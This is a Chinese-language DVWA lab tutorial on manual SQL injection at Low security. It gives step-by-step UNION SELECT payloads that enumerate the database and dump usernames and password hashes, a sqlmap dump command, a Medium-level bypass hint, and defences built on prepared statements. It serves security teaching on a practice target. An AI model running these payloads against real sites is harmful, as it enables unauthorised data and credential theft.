网站排名优化软件哪家好,企业传统的网络营销推广方法,黄山网站seo,南宁青秀万达网站建设本文仅用于技术研究#xff0c;禁止用于非法用途。 Author:枷锁 文章目录 一、环境准备二、漏洞分析#xff08;Low级别#xff09;三、SQL注入攻击步骤1. 探测注入点2. 判断字段数3. 确定回显位置4. 获取数据库信息5. 获取表名6. 获取字段名#xff08;users表#xff0…本文仅用于技术研究禁止用于非法用途。 Author:枷锁 文章目录 一、环境准备二、漏洞分析Low级别三、SQL注入攻击步骤1. 探测注入点2. 判断字段数3. 确定回显位置4. 获取数据库信息5. 获取表名6. 获取字段名users表7. 拖取用户数据 四、防御建议五、总结提取关键信息自动化工具利用sqlmap1. 捕获请求2. sqlmap扫描命令 Low级别与其他级别防护对比 本文环境Security Levellow 以下是针对DVWADamn Vulnerable Web Application中SQL注入漏洞在
Low安全级别下的详细教程包含环境配置、漏洞原理、利用步骤及防御建议 一、环境准备
1设置安全级别
进入 DVWA Security → 选择 Security Level: Low → 点击 Submit。 二、漏洞分析Low级别
漏洞代码查看源码路径/vulnerabilities/view_source.php?idsqli$id $_REQUEST[id];
$query SELECT first_name, last_name FROM users WHERE user_id $id;;问题用户输入的$id直接嵌入SQL语句攻击者可通过插入单引号闭合原有语句注入恶意代码。 三、SQL注入攻击步骤
1. 探测注入点
输入英文单引号 响应SQL语法报错如You have an error in your SQL syntax...→ 存在字符型注入。
2. 判断字段数 输入1 ORDER BY 2 # → 正常返回 输入1 ORDER BY 3 # → 报错 结论原查询返回2个字段。
3. 确定回显位置
输入1 UNION SELECT 1,2 # 响应页面显示数字1和2 → 两个字段均可回显数据。
4. 获取数据库信息
数据库名与版本1 UNION SELECT database(), version() #响应显示数据库名如dvwa和MySQL版本。
5. 获取表名
输入1 UNION SELECT 1, group_concat(table_name)
FROM information_schema.tables
WHERE table_schema database() #响应返回表名如guestbook, users。
6. 获取字段名users表
输入1 UNION SELECT 1, group_concat(column_name)
FROM information_schema.columns
WHERE table_name users #响应返回字段名如user_id, user, password。
7. 拖取用户数据
输入1 UNION SELECT user, password FROM users #响应显示所有用户名及MD5加密的密码如admin → 5f4dcc3b5aa765d61d8327deb882cf99。 四、防御建议
预处理语句PDO $stmt $conn-prepare(SELECT first_name FROM users WHERE user_id ?);
$stmt-bind_param(i, $id); // i表示整数类型
$stmt-execute();输入过滤 数字型参数if (is_numeric($_GET[id])) { ... }字符型参数使用mysqli_real_escape_string()转义单引号等特殊字符。 最小权限原则数据库账户仅授予必要权限如禁止DROP。 五、总结
Low级别漏洞本质未过滤用户输入直接拼接SQL语句导致命令执行。攻击核心通过UNION SELECT联合查询逐步获取数据库元数据及敏感信息。防御核心预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息Payload示例作用说明数据库名与版本-1 UNION SELECT database(), version()#获取当前库名如dvwa及MySQL版本所有表名-1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()#返回表名如guestbook, usersusers表字段名-1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_nameusers#返回字段名如user, password用户凭证数据-1 UNION SELECT user, password FROM users#获取用户名及MD5加密密码 自动化工具利用sqlmap
1. 捕获请求
使用Burp Suite或浏览器开发者工具获取提交id1时的HTTP请求含Cookie。
2. sqlmap扫描命令
sqlmap -u http://靶机IP/vulnerabilities/sqli/?id1SubmitSubmit \--cookiePHPSESSIDxxx; securitylow \--batch --dbs关键参数 --dbs列出所有数据库 -D dvwa --tables获取dvwa库的表 -D dvwa -T users --dump导出users表数据自动破解弱口令MD5。 Low级别与其他级别防护对比
安全级别输入方式防护措施绕过难度Low文本框直接输入无过滤⭐Medium下拉菜单mysql_real_escape_string转义⭐⭐High独立输入页Token校验 LIMIT 1限制⭐⭐⭐Impossible表单验证PDO预处理 CSRF Token不可绕过 Low级别漏洞本质用户输入直接拼接SQL语句无过滤无转义。攻击核心通过闭合单引号注入UNION SELECT联合查询逐步获取数据库元信息及敏感数据。防御核心预处理语句是唯一根治方案辅以输入验证与最小权限原则。 ⚠️ 注本教程仅用于教育目的实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。 相关学习问题
Medium级别如何绕过mysql_real_escape_string → 通过数字型注入或十六进制编码绕过单引号过滤如table_name0x7573657273。布尔盲注与时间盲注在Low盲注模块的区别 → 布尔盲注依赖页面返回状态存在/缺失时间盲注通过SLEEP()函数观察响应延迟判断条件真伪。PDO预处理为何能彻底防御SQL注入 → PDO将用户输入视为数据参数而非SQL代码从语法层面隔离指令与数据。
如需进一步实践可参考DVWA渗透测试实战指南SQL注入防御最佳实践。 ⚠️ 注本教程仅用于安全学习。实际渗透测试需获得授权避免非法攻击。 通过此教程可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别理解不同防护机制的绕过技巧。 宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势 ✅ 先授权再测试 ✅ 只针对自己拥有或有权测试的系统 ✅ 发现漏洞后及时报告并协助修复 ✅ 尊重隐私不越界 ⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助记得负责任地进行安全测试。